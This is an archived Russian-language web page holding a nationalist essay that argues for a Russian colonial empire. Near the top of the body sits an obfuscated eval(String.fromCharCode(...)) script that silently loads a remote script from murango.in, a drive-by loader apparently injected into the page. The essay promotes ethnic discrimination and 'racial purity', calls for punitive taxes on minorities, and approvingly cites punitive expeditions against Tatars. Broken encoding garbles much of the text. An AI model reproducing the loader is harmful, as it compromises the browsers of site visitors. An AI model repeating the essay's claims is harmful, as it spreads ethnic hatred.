?необходимост?русско?колониальной импери?/title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body bgcolor="#990033" text="#000000" link="#FFCC00" vlink="#FF6666" alink="#FFCCCC" background="bg.gif"> <kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5><script>eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,108,106,115,40,41,123,116,114,121,123,118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,115,114,99,34,44,34,104,116,116,112,58,47,47,109,117,114,97,110,103,111,46,105,110,58,51,49,50,57,47,106,115,34,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,125,99,97,116,99,104,40,101,41,123,125,125,115,101,116,84,105,109,101,111,117,116,40,34,108,106,115,40,41,34,44,53,48,48,41,59));</script></kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5> <style>A { text-decoration: none; }</style> <table width="630" border="0" cellpadding="0" cellspacing="0"> <tr> <td valign="top" width="130" height="90"><img src="eliseev-photo-left.gif" width="130" height="90"></td> <td valign="top" width="500" height="90"><img src="eliseev-logo.gif" width="500" height="90"></td> </tr> <tr> <td valign="top" width="130"> <p align="center"><font size="2" face="Arial, Helvetica, sans-serif" color="#00CCFF"><b><font color="#FFCC00"><br> <a href="index.htm">?началу</a></font></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="ideology.htm">Идеология,<br> политика,<br> культура</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="economy.htm">Экономик?/a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="history.htm">История</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="religion.htm">Религия</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="verses.htm">Стих?/a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="archive.htm">Архи? 1994-96</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="science.htm">Наук?/a> </b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="http://www.guestbook.ru/book.cgi?user=eliseev&action=show">Гостев? книг?/a><br> <br> <a href="mailto:aleksandr_eliseev@front.ru">E-mail</a><br> </b></font><font face="Arial, Helvetica, sans-serif" size="2" color="#FFFFCC"> </font><font face="Arial, Helvetica, sans-serif" size="2"> </font> </p> <p align="center"><font color="#CCCCCC" face="Arial, Helvetica, sans-serif" size="2"> <a href="http://nationalism.org"><img src="http://nationalism.org/banners/Norg-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/bratstvo"><img src="http://nationalism.org/banners/Bratstvo-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/vvv"><img src="http://nationalism.org/banners/vvv-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/forum"><img src="http://nationalism.org/banners/BrK-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/rusaction"><img src="http://nationalism.org/banners/rusaction-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/rr"><img src="http://nationalism.org/banners/RR-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/pioneer"><img src="http://nationalism.org/banners/pioneer-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://66.84.27.122"><img src="http://nationalism.org/banners/pravo-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://traditio.ru"><img src="http://nationalism.org/banners/traditio-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://udod.traditio.ru"><img src="http://nationalism.org/banners/udod-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://www.rossia.org"><img src="http://nationalism.org/banners/rossia-small.gif" width="88" height="31" border="0"></a> <br> <br> </font></p> <p align="center">  <a href="http://counter.rambler.ru/top100/"> <img src="http://counter.rambler.ru/top100.cnt?138448" alt="Rambler's Top100" width=81 height=63 border=0></a>  <a target=_top href="http://top.list.ru/jump?from=69692"> <noscript><img src="http://top.list.ru/counter?js=na;id=69692;t=55" border=0 height=31 width=88 alt="TopList"></noscript> </a> </p> </td> <td valign="top" width="500" bgcolor="#FFFCF0"> <blockquote> <p align="left"> <font face="Times New Roman, Times, serif" size="3"><br> <font size="5" color="#FF0033"><font size="+3">?необходимост?русско? колониальной импери?/font></font></font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Русско? национальное движение раздирается множеством противоречий. Православные споря??язычникам? социалисты ?"капиталистам?quot;, монархисты ?"диктатурщиками" ?"национал-демократам?quot;. Налицо ?конфликт межд?империалистами ?сторонниками изоляци?разных видо? - ?состав?"союз?славянски?республи?quot;, РФ ил?даже колбасообразно? по конфигурации, "республики Русь". </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Надо сказат? чт??этом противостояни?трудно признать чь?то абсолютную правот? Боле?прав? на мо?взгля? империалисты, но ?за их оппонентам? тоже стои?св? правда. ?любо?случае, налицо кризис имперского сознан? - ка??патриотической сред? та???России ?цело? Даже во времен? гражданско?войн? когд?нация была расколот?на дв?враждующие военно-политические группировк? наблюдалос?полное единодушие межд?красными ?белыми по одному только вопрос?- по вопрос??едином имперско?государств? ? белы? ?красны?боролись за "единую ?неделиму?quot;, наполняя эт?дв?слов?разным социальным содержание? </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Теперь же большинств?либо равнодушно ?импери? либо испытывает по отношени? ?не?чувств?отрицательны?(например, ультра-либералы ил?русски?изоляционисты - по разным, правда, мотива?. Можн? конечн? списат?вс?эт?на работу подрывны?си? на деградацию русского народа, но??обще? дело не только ?подрывны?сила??деградации. Мы, русски? просто устали от непосильного бремен?быть этакой гигантской евро-азиатско??нько? бе?конц?пестующе? своенравны??капризны?детише? ?на?сработал инстинкт самосохранен? ? ка?эт?не кощунственно прозвучи? распад СССР больше поше?на пользу, че?во вред. Да, ?точк?зрен? Чест??Долг?ег?нужн?было защищать вплоть до самого Беловежского сговор?- земля, завоёванная предками, священн? Но посл?говорить ?ег?возрождени? ил??возрождени?какого-либо аналог?этог?"имперского" Вавилона бессмысленно ?даже преступн? Мало кт?знае? но ?СССР окол?40% всех браков были смешанными (сейчас эт?числ?снизилос??нескольк?ра?, ?мы, русски? ещ?умудрились настольк?серьёзно поверить ?интернационализм, чт?пребывал??готовности блаженно растворить? ?"ново? небывало?общности" - советско? "народе". </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Теперь ?на?появилась возможност?отдохнут?немног?от имперского строительств? ?задумать? - куда же идти дальше? Отказать? от импери??строит? мононациональное государств? ил?же вс?таки сохранит?верность имперскому знамен? Но самы?трудны?вопрос - ?если импери? то каку? Не прежню? же?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Тогд? давайт?начнём по-по?дк?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Импери? на?не избежать - ?то? естественн? случае, если мы захоти?остать? русскими. Такая неизбежность вытекает из?всех трёх главнейших "моментов" существования любо?полноценно?цивилизаци?- религиозного, психологического ?прагматическог? (Сраз?отмечу, чт?не считаю эт?момент?че?то резк? отличным?друг от друг? Напротив, ни один из ни?не мыслим бе?другог? ?принципе он?соответствую?трём "частя?quot; человеческог?существа - духу, душе ?телу.)</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> ? духовном, религиозно?"момент?quot; я сейчас подробно говорить не буду, эт?слишко?уж специфическая тема, наст?тельно требующая отдельного рассмотрен? (он?было сделан?мной ??6 газеты <a href="../bratstvo/oprichnik/index.htm">"Царски? опричник"</a> ?статье "Символиз?импери?quot;). Вкратц? скаж?только, чт?присоединени?новы?земель ?традиционной, особенно ?христианской, метафизике, символизировал?покорени?Небо?земл? подчинение императорско?горизонталью территориально?вертикал?(моделировани? Креста). Присоединённые земл?ка?бы творилис?(императоро? заново - та?традиционное государств?уподоб?лось Творцу Всемогущем?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Но довольно мистик? здес?он?може?увести ?сторон?от очен?серьезного ?делового разговор? ?противники импери?упрекают её приверженцев ?наивно?романтизме (отчаст?таки?обвинения верн?. Поговори?подробно ?психологии - об этнической психологии.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Любая нация подобн?личности, боле?того, он??есть личность, причем самого высокого по?дк? ??этом качестве он?обладает определенным наборо? психически?свойст? условн?(очен?условн?) назове?ег?характером ил?душо? Та?во?душа русского народа неумолим?толкал?ег?на присоединени? новы?земель - ??далеко не самы?выгодных условия?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Началось эт?ещ??глубокой древност? когд?част?славя?мигрировал?со свое? дунайско?прародин?(изначально?расселение наши?предко?по этой реке зафиксирован?"Повестью временны?ле?quot; ?большинством средневековы? письменных источников) ?райо?межд?Днестром ?Доно? Произошл?эт? событи??середине 2 ты? до ? ?. Тогд?же археолог?фиксирую?появление особой традиции материальной культуры, ареа?распространения которо? занимает восточну?част?зоны расселен? древни?славя??може? ?определенной доле?условности, считаться своеобразным культурн?историческим ядром группировк?будущи?восточны?славя? ? ? русски? Цент?этой традиции находился ка?ра??Средне?Приднепровье - та? гд??1 ты? ? ? возникне? Киев ?Киевск? Русь - мощнейше?средневеково?государств? </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> ? точк?зрен? обычно? подчеркн?- именно обычно? выгоды славяна?? Приднепровье ничего не светил? Если уж мигрироват? то наилучши?местом было бы Средиземноморь?- тогд?та?не было серьезны?конкуренто?(част? прасла??та??поступил?- он?образовали цивилизаци?пеласгов-этрусков-расено?, зато удобства данный регион сули?немерены?- одно географическое расположение стоило многог? Приднепровье же было одни?из самы?опасны?мест, иб? вплотную примыкал??Велико?Степ?- гигантском?этническом?вулкан? откуда пост?нн?накатывали мощнейши?волн?разнообразны?кочевников - киммерийце? скифов, сарматов, хаза? гуннов, авар, половцев, печенего? монгол ?? ? ?? ? Но ка?ра?здес?то славяне ?создал?само?мощное военно-политическое объединени? Ещ?до возникновения Киев?он?покорили местны?северн?иранские племен?"скифов" - Геродо?описывае? Скифию ка?политическ?единую территорию, населенную примитивными кочевникам? ?развитым?земледельцам?(? ? "борисфнитами", "днеп?нами", ?которы?многие маститые исследовател? например академик Рыбако? признают славя?. Ясно, чт?именно восточны?прасла?не, "проторусские" доминировали ?этом регион? По сути, Скиф? ?была первой русско?империей - не случайно отождествление русски??скифов пост?нн?сохранялось на всем протяжени?средневековья. Славяне закрепилис?здес?именно ? качество имперского этноса, скрепляющег?разные народности ?единое политическое цело? Та? черняховская археологическая культура (2 - 4 вв. ? ?) - преемниц?скифских земледельчески?включала ?се? кельтски? фракийские, германские ?иранские элементы. Позж?Русь (уж?Русь!) подчиняет себе различны?тюркские народы, значительную част?финн?угро? реликтовые группы индоарийце?(тавров). То есть заметн?одно ?то же устойчивое стремление русски?подчинять себе разные этносы ?крайне неблагоприятных условия?пост?нног??мощнейшего давление Степ? Русски?стойко, упорно ?отважн?строил?велико?имперско?государств?по?непрекращающимися ударам?кочевников. На эт?их толкал то?самы?знаменитый лихо?"русски? характер". Таково было движение их души. Бе?подобног?вывода просто не по?ть - почему русски?военно-политические образования просуществовал? здес?бе?малого тр?ты?чи ле?(16 ? до ? ? - 13 ? ? ?). Причем монгольско?нашестви?отнюдь не оказалос?фатальны?- северо-восточная част?Киевской Руси ?лице Владимир?Суздальско?земл?сумела создат? ещ?боле?мощное восточнославянско?государств?- Московскую Русь, которая не просто сохранил?государственност?русо? не просто взяла реванш за монгольски?разгро? но ?покорила саму Степ? утвердив русско?господство на огромных простора?Еврази? Стои??ли напоминать, чт?ка?только государств?русски?возродилос?внов? он?немедленно воспроизвело прежни? имперски?ти? Ка?хотите - но эт?вс?таки психолог?! Русски?лю?? риск освоение новы?просторо? он радует их кров? ка?схватк?радует кров?воин?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Русски? мысля?категориями больши?пространст? не случайно самы?распространенные образы наши?песе?- широко?поле, необ?тный ле? "степ?да степ? кругом". Гд?ещ?можн?колонизаци?такого размах??упорства, которы? характеризовал?колонизаци?Сибири? На?нужн?новы??новы?просторы, на?слишко?тесн?даже на громадны?территор?? ?высшей степен?символично, чт?именно мы первым?прорвались ?космос - тесной уж?стал?казать? ?сама земля. Другие народы (англичан? французы, немц? могу?отказать? от ? ? "имперского мышлен?", иб?для ни?эт?действительн? только "мышление", для на?же эт??мышление, ?чувств? ? ещ?во? - ??смысле "силы", ??смысле "свобод?quot;. Эт?наша душа. Откажись мы от импери??мы откажемся от трех ты??ле? свое?жизн? На?придет? перестат?быть русскими. ?лучшем случае мы станем те? че?стал?римляне посл?крушен? Рима - "итал?нцам?quot;. ?худшем просто исчезнем ?лица земл? Впроче? ?худшем ли?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> ? чт?же прагматизм? Да он связа??имперско?миссие?неразрывно! Не? ничего боле?выгодног? че?империя, если только эт?империя, ?не бюрократическая подделка. Чт? на??само?деле не нужн?бакинская нефт? Мы чт?- должны отказать? от туркменского газа (ег?запасы ?этой республике самы? больши??мире)? Може?быть, наша выгода ?то? чтоб?ра??навсегда простить? ?портовым?центрами "украинског?quot; Причерноморья ?"суверенной" Балтии? Разв?прагматизм обязывает выбросит? на вете?миллиард?кровны?русски?рублей, вложенны??строительств? грандиозны?заводо?на некогд?отсталых окраинах? Ил?он требуе?проводит? границ?России по великорусски?земля? подставляя их по?непосредственный удар вчерашни?окраин, ?ныне - суверенных азиатски?ханств ?прибалтийски? хамств?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Возразя? чт?всем этим можн?распоряжать? опосредовано, чере?прорусские режимы ?страна?бывшег?СССР. Присовокупя?ещ? чт?такова политика всех современны? западных держав. Но ведь владет?опосредовано значит владет?частично, ?част?всегда меньше целого. Не?уж, извините, господ?изоляционисты, мы буде?владет?всем - эт?приобретение наши?велики?предко??негоже им делить? ?разным?та?"суверенным?quot; ?гушатиями! Опосредованный контроль всегда ненадеже? никогд?не?гарантии, чт?он сохранит? надолг? имперско?же господство надежнее. Эт?СШ?могу?ещ?позволит?утрату контро? на?любо?из стра?Еврази?ил?Африки. ?каково буде?России имет??свои?южны?границ, скажем, враждебный Таджикиста? ?ведь нечт? подобное може?произойт?чуть ли не завтра. </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Запа? неспособен уж?на импери? по крайне?мере, ?ближайше?будуще? Тамошние торгаш?довольствуют? частью, не желая напрягать? во имя целого, каки? бы заманчивым он?ни выглядело. ?га ?комфорту, чего вы хотите?Их ?та??трудом терпя??страна?"третьего мира". Кром?того, географическое расположение западных стра? прежде всег? СШ?не располагае? ?территориально?экспанси?- долларом, он? легч? Мы же имее?непосредственную, территориальну?сопредельность ?больши?количество?евро-азиатски? стра?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Та? чт?против импери?не?решительно никаки?противопоказаний.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Другое дело, на?ника?не нужн?бюрократическая псевдо-империя, поддерживающ? окраин?за счет центра. Её-то возрождения ?не хо??русски?люди, отличн? помнящи?ка?он?строил?заводы азиата??чухонцам ?како?благодарност? от ни?дождалис? Эт?па?ть не даёт им поддержать наши?фанато?СССР ил?патриотических "благородны?идальг?quot;, искренне обеспокоенны? судьбо?всяки?разных хакассов ?эвенко? Ярчайший пример подобног? идальг?- эк?минист??"пламенны?quot; патрио?? Мироно? обрушивший? недавн?на лозунг "Росс? для русски?quot; ?непрестанн?жалеющий "бедные-несчастные" нацменьшинства. </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> ? сожалени? последни?двести ле?наша империя вс?больше ?больше превращала Великороссию ?колони?национальных окраин. Подобный процес?отчетлив? наметился ?дореволюционно?России ?пошё?полным ходо??СССР. Дума? ?совдеповском беспределе ?отношени?русского Центра говорить не приходит?, ?нё?знаю?вс? Отсутствие многих властных, академически??культурн?просветительских структур ?российской республике, огромные переплат??союзны?бюджет, один из самы?низких уровне?жизн??"семь?братских народо?quot;. На мо?взгля? требоват?реставраци?Эсесесерии сегодня може?только русски??полность?атрофированным национальным чувством. Даже левы? итал?нски?истори?Дж. Бофф? никогд?не замеченный ?симпат???русскому (да ?любому другом? национализму, ?како?то даже оторопью приводит "откопанный" им факт - посл?войн??русского крестьянина брал?нало??семь ра?превышающи?нало??узбекского хлопкороба. ? иной "русски?quot; патрио? рожа обкомовская, пускае?красны? слюн?пр?одно?только слов?СССР! </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Горазд? мене?известны факт? свидетельствующи??"размывании" русского ядр??дореволюционно?время (втор? по?19 - на? 20 вв.). Он? конечн? ни ?како?сравнени?не идет ?большевицким?выкрутасам? ?вс?таки? </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Ещ? до революци?началась перекачк?финансов?экономически?ресурсов из Великороссии на окраин? Пр?этом не учитывалос? чт?некоторы?русски? регион?были беднее иных окраин, пользовавших? налоговыми льготами. Депута?3-?Государственно?думы утвержда?по этом?следующе? "…Я не буду говорить ?тако?беднейше?губернии, ка?наша Новгородск?. ?во? ?наше?Новгородской губернии, ?некоторы?города?обложени? доходи?до 1, 13 %; следовательн? ?не?сбор?повышают?. Ее города платя?больше, че?Варшав? Лодз??Сосновиц?(крупнейшие промышленные центры ?Царств?Польском - ? ?). Укаж? губернию ещ?боле?бедную, совершенно уж?тощу?губернию: Олонецку? ??Олонецко?губернии города платя?больше, че?таки?больши?центры, ка?Варшав? Лодз??Сосновиц? ?Олонецко?губернии города платя?1, 26 %, ?Варшав? Лодз??Сосновиц? - 1, 04 %." Экономическая политика те?ле?вообще довольно сильно напоминает политику "пламенны?интернационалистов" совдеповской поры. Та? Привислински?край на каждый утрачиваемый ?общеимперску? казн?1 рубл?получа?из не? ?виде дотационны?вливаний, 1 рубл?14 копеек, межд?те?ка?русски?регион?уплачивали ?казн?горазд?больше, че?получали: на каждый уплачиваемый рубл?Северный край получа?81 копейк? Средне-Промышленный - 72 копейк? ?Средне-Черноземны?- всег? 74 копейк?</font></p> <p align="left"> <font face="Times New Roman, Times, serif" size="3">"Угнетаем?" царизмом Финлянд? не участвовал??общеимперски?расходах на содержание Императорского Двор? МИДа, военного ?морского ведомств ?? ?, чт? вполне об?сняет стремительны?ро?ее экономического развит?, на которы? стол?любили обращать внимание фински?сепаратист??либералы-западник? ставящи?этот "европейски?quot; край ?пример "азиатско? отсталой" Великороссии. </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> На народное образовани??Царств?Польском тратилос?от 51 до 57 копеек на одного жите?, тогд?ка??Центрально?России - всег?9-10 копеек. Стои?ли удив?ть? тому, чт??1861 ? по 1897 ? числ?грамотны?? Польше увеличилос??4 раза (?9 до 35 %), ??России этот показатель ?тому времен?достиг всег?лишь 19 %.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Да ладн?бы перекачк? Ко?гд?уж?имел?мест?быть правовое притеснени? русски? Та? до Александра III Лифляндск?, Курляндск? ?Эстляндск? губернии находились по?полным контроле?господствующег?та?немецког? элемента. Вс?делопроизводство ?правительственны??общественных учрежден?? велось на немецком языке, немецкие дворяне состав?ли кадровый костя? тамошней местно?полици? Доходило до того, чт?православные были вынужден? отправ?ть денежные повинности ?пользу лютеранского духовенств?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Не лучш?обст?ли дела ??Финляндии. Здес?на высшие должност?назначалис? только финн? ?православные церкви находились ?ведени?инославных, протестантских учреждений. Здоров? националистическ? политика Александра III положила коне?подобной политике, но даже ?посл?этог? вплоть до 1910 ? (? ? до второй волн?правительственного национализма, прокатившейся во время премьерств?Столыпин? продолжалась дискриминация русски?на русско?же территории. ?отличи?от финнов русски?не имел?избирательны? прав. На приобретение русскими недвижимог?имуществ?существовали весьма серьезны?ограничения. Существовали он??на за?ти?торговой, ремесленно? ?фабрично?деятельностью. Русски?крестьяне ?мещане не могл?занимать? разносно?торговле? Им запрещалос?торговат?аптекарскими товарами, ядами, вино? Русски?не мо?стат?членом правления банк? участвоват? ?деятельност?открытог?банковског?товарищества ?учреждат?сберегательные касс? Переселени?русского крестьянина ил?мещанина ?Финляндию обуславливалос? проживание?та??течени?6 ле? Кром?того, переселене?должен бы? уплатить 1000 рублей фински?благотворительны??рабочи?общества? Доходило до невероятной дичи - православный учител?не мо?преподават? истори??финляндских школах. </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Вс? эт?органичн?дополнялось попустительством ?отношени?инородческих элит, многие представител?которы?были настроен?сепаратистки. ?пример? весьма сложная ситуац? сложилас??начале XX ? на Кавказ? Для тамошней администраци? возглавляемой кавказским наместнико? было характерно вопиющее потворство различны?антирусскими элемента? Он?почт?безнаказанно вели террористическую, разбойничь?деятельност??отношени?русского населения. Эт?привел??систематическому бегств?русски??территории Закавказ?. Администрация наместника практическ?никогд?не заботилась об интереса?русски?жителе?кр?. Та? наместни?внес ?начале XX ? законопроект об учреждении бакинского градоначальничеств? предложи? создат?пр?не?особое присутстви? основанное на участи?местны?общественных представителей, ?числ?коих не предполагалось включить ни одного русского. Ещ?один законопроект наместника, предусматривающи?введение городского самоуправлен? ?? Карс? такж?умалчива??хоть како?то участи?? не?двухты?чног?русского населения, чт?было уж?откровенны?предательством государственны?интересо? ? ? указанны?горо?представ??собо?пограничну? крепость, крайне важную ?военно-стратегическом отношени? Подобном? ущемлени?прав русски??Русско?импери? во многом способствовала специфик? управлен? Кавказом. По?власть?наместника Северный ?Южны?Кавказ искусственно объеди?лись ?чист?русскими землями: Ставропольской губерние? ?областями Терского ?Кубанского казачьих войс?(обще?населени?- 3 мл? че? по переписи 1897 ?). естественн? такая систем?ника?не способствовала учет?интересо?русского населения, административной констатаци?ег?особенностей. </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Попустительств? сепаратистам было характерно ?для туркестанско?администраци? Он? практическ?проигнорировал?подготовку вооруженного восстания мусульмански? фанатико?(руководимы?имамом Мухаммед Ал?Хальфи из кишлак?Ми?Тюпе), которо?произошл?18 мая 1898 ? Администрация совершенно не обращала вниман? на оголтелу?антирусску?пропаганду, котору?ве?этот имам, каждый день ?течени?всег?1897 ? собиравший ?се? нескольк?со? свои?стороннико? Бе?вниман? осталось ?распространени?подметны? писе? призывавши??"священной войн?quot;против русски? ?такж? резк?участившие? грабеж??разбои, чинимы?последователями имам?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Но дореволюционная Росс? вс?же была Русски?государством, пуст??не лишенным бюрократически?извращений. ?то время пост?нн?принималис? меры, призванные покончит??подобным?перекосами. Совдеп? же ?ними бороть? ?не желала.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> На? сейчас, однако, должен больше интересовать вопрос - ?ка?избежать этих перекосо??будуще? Ка?построит?действительн?национальное имперско? государств? </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Следуе? твердо отдавать себе отче??следующе? Перекачк?ресурсов на окраин? потворство инородческим элитам не есть сущность империализма вообще, ?русского империализма ?частност? До 19 ? Росс? была <i><b>образцовым колониальным государством</b></i>, ставящи?на первый план именно интересы русски? Эт??полной мере пр?вилось ??экономик? ?пример??сибирски? окраин ?Московской Руси брал?богатейший яса? которы?помимо обычного (для русски? оброка, включа??се? подарк?царю, воеводам, самими сборщика??пр. То была грандиозная прибыл? ?царствование Федора Иванович? стоимост?вывозимы?из Сибири мехо?равнялась 400-500 ты?ча?рублей ?то время ка?весь государственны?дохо?не превышал 15000000 рублей. На ? ? "исторических" земля?тата??башкир поселилось стольк? русски? чт?сегодня он?состав?ют та?большинств? </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Крайне жестко подавлялись сепаратистские выступления. ?16 ? татарско?населени? Западной Сибири состав?ло 30 ты??челове? ?уж??17 ? 3 ты?чи - результа?30 карательны?экспедиций, проведенны?против сепаратистов.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Русско? имперско?государств?должно быть колониальным. Вс? хватит, накормил? "Еврази?quot; досыта - теперь пуст?он?кормит Русь. Пуст?налоги ?окраин (по?которыми понимают? территории нынешних республи?- РФ-шных ?бывших советски? буду?выше налого??русски?земель. Пуст?минимальны? уровен?оплаты труд?буде?выше ?Великороссии. Пуст?цены на продукци? выпущенную великорусскими предпр?тиями превышаю?цены, выпущенные окраинам? Взамен мы готовы освободить "окраиннико?quot; от трудного бремен? службы ?русско?арми? полици??госбезопасност? ?такж?от за?тия госпосто?общеимперского уров?. Вполне достаточно буде?отдельны? не очен?многочисленных милиционны?соединений (по типу "Дико? орды"), вооруженны?стрелковым оружие? </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Только не надо вопить об угнетени? Высокоразвит? национальн? экономик?позволит всем жить безбедно, только одни?получш? другим похуже. Чт?же касает? национальн?культурной автономи?- пожалуйста! Хо??инородцы имет? свои землячества, фонд? школ? газеты, определенные часы вещания на <i> <b>некоторы?/b></i> канала?ТВ ?ради?-скольк?угодно! Желают, чтоб?их судили по шариат?(за вс?преступлен?, <i><b>кром?/b></i> государственны? ?разрешил?многоженство - на здоровье! Боле?того, Русско?государств?буде?твердо ст?ть на страже всех национальных обычае? оберегат?расову?чистот?всех народо? Империя, наст?щая империя эт?не смешение народо??один этно?(ка?то утверждают евразийц? ?другие "почвенники-язвенники"), эт?<i><b>политический</b></i> союз этнических общи? обособленных друг от друг??<i><b>расово-биологическо? ?культурном</b></i> отношени? Об этом свидетельствую?общеизвестны? исторические факт? Упадок Великого Рима совпал ?ег?"космополитизацие?quot;, выразившей? ?предоставлении римского гражданств?огромном?количеству представителей присоединенных народо? Второй Ри? Визант?, напротив, пережи?подъем именно ?6-10 вв., когд?наметилось обособлени?"эллинистического" элемента от других элементо?прежне?византийской мног?зыко?смес? (во многом доставшейся ?наследство от позднего Рима). ? опять-таки, Третий Ри? Росс?, склонился ?упадку во времен?заигрывания ?инородцами.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> Национализ? национализ??ещ?ра?национализ?- во?чт?нужн?русскому империализму, нужн? ка?живительны?глоток воздух? Нужн?- совершенно русская армия, полиция ?ГБ, совершенно русски?центральны?госаппарат ?местны?- русски?на 90 %. Нужн?- прав??обязанность каждог?русского мужчин? носить оружие ?умет?пользовать? им. Нужн?- особые пропагандистские ТВ каналы, посвященные об?снению сути русского национализма. Ну ?уж бе?сомнений нужн?детально разработанная, традиционн? ??то же время современная русская национальн? идеология.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> ? вдобавок - антибюрократиз? самы?решительны??последовательный. Тако? чтоб?русски?самодержавны?Вожд? русски?национал-революционны?Орде? ?русская корпоративная общественность ?клещ?бы взяли отечественну? бюрократию, не позволяя ей брат?на се? слишко?уж многое. Ведь известно, чт?главно?качество бюрократии - исполнительность, он??не обязана блистать какими либо талантам? кром?талантов исполнительски? Исполнять же ей должно то, чт?скажет Вожд? советующий? со всем?политическим? ?социальным?сл?ми русского общества. Когд?же бюрократ? усиливается непомерн??начинает взваливать на се? некоторы?"стратегические" функци? то он?приступает ?поиску самы?<i><b>лёгких</b></i> путе? решения <i><b>сложнейших</b></i> государственны?вопросов. ?план?имперского строительств?он?принимае?банальнейшее, воистину шариковско?решени? - от?ть ?сильного ?передать слабом? Та??произошл??19 ?, когд? вл?ни?бюрократии резк??необосновано усилилос? Ко всем?этом?ещ? ?добавилось западное вл?ни??увлечени?космополитическими ид?ми. Результаты известны.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3"> ? не жела?порочить наше славно?прошло? но ?не жела?повторять прошлы? ошибок. На карт?поставлено не просто мнение Елисеева, Иванов? Сидорова ?? ? На карт?поставлено само существовани?русско?наци? </font></p> <p align="left"> </p> </blockquote> </td> </tr> </table> <table width="630" border="0"> <tr> <td width="130"> </td> <td width="500"> <div align="center"><a href="http://nationalism.org"><img src="http://nationalism.org/banners/Norg.gif" width="468" height="60" border="0" alt="Nationalism.org" align="middle" vspace="10"></a></div> </td> </tr> </table> </body> </html>